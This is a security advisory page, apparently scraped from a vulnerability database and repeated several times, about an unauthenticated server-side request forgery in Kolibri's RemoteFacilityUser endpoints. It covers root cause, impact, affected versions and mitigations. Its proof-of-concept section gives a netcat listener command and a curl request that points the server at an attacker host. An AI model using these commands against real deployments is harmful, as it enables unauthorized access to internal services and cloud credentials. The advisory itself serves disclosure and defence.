No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 28, 2022

0.15.2 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Apr 26, 2022

0.14.8a5 pre

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 25, 2022

0.15.1 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

